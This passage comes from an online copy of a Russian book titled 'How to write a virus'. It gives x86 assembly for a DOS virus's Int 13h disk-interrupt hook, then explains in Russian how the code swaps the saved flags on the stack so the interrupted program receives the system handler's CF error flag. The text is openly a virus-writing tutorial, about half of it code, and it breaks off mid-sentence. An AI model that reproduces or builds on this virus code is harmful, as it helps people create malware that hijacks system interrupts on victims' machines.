"Игорь Коваль. Как написать вирус" - читать интересную книгу автора


start_13h: mov cs:tg_13h - 110h,1
pushf
db 9ah ;Код команды
old_13h dw 0 ; " CALL " ...
old_13h_2 dw 0
mov cs:ax_13h - 110h,ax;Поместим новый
pop ax ;флаг на место
mov cs:ip_13h - 110h,ax;старого ( CF )
pop ax
mov cs:cs_13h - 110h,ax
pop ax
pushf
mov ax,cs:cs_13h - 110h
push ax
mov ax,cs:ip_13h - 110h
push ax
mov ax,cs:ax_13h - 110h
mov cs:tg_13h - 110h,0
iret

Здесь константа " to_new_13h " показывает смещение
от начала вирусного кода до начала обработчика .
Хотелось бы обратить ваше внимание на одну особен-
ность .Она состоит в том, что прерывания Int 21h и
Int 13h возвращают в регистре AX код ошибки,а бит
CF регистра флагов используется как индикатор этой
ошибки .
Пусть, например, при получении фильтром управления
бит CF имел значение FLAG 1, а регистры CS и IP
имели значения CS 1 и IP 1.Тогда команда " pushf "
занесет значение FLAG 1 в стек .Команда "call" по-
местит в стек значения CS 1 и IP 1,после чего уп-
равление получит системный обработчик .Этот обра-
ботчик занесет в стек значение FLAG 2, и при своем
завершении выполнит команду "iret" .Команда "iret"
снимет с вершины стека значения IP 1,CS 1 и FLAG2.
Теперь уже наш фильтр сбросит в " 0 " переменную
" tg_13h ",и командой " iret " передаст управление
прерванной программе .Но дело в том, что эта кома-
нда извлечет из стека значения IP и CS, которые
имели место в момент вызова прерывания Int 13h, а
также регистр флагов FLAG 1 .Таким образом,из сте-
ка будет извлечен FLAG 1 вместо FLAG 2 !Чтобы это-
го не произошло, мы должны поместить в стек FLAG 2
вместо FLAG 1 . Именно для этого предназначены ко-
манды,записанные после ячейки " old_13h_2 ".Работа
этих команд особых пояснений не требует .Мы просто
" добираемся " до нужной ячейки в стеке, последо-
вательно считывая предшествующие .Можно, конечно,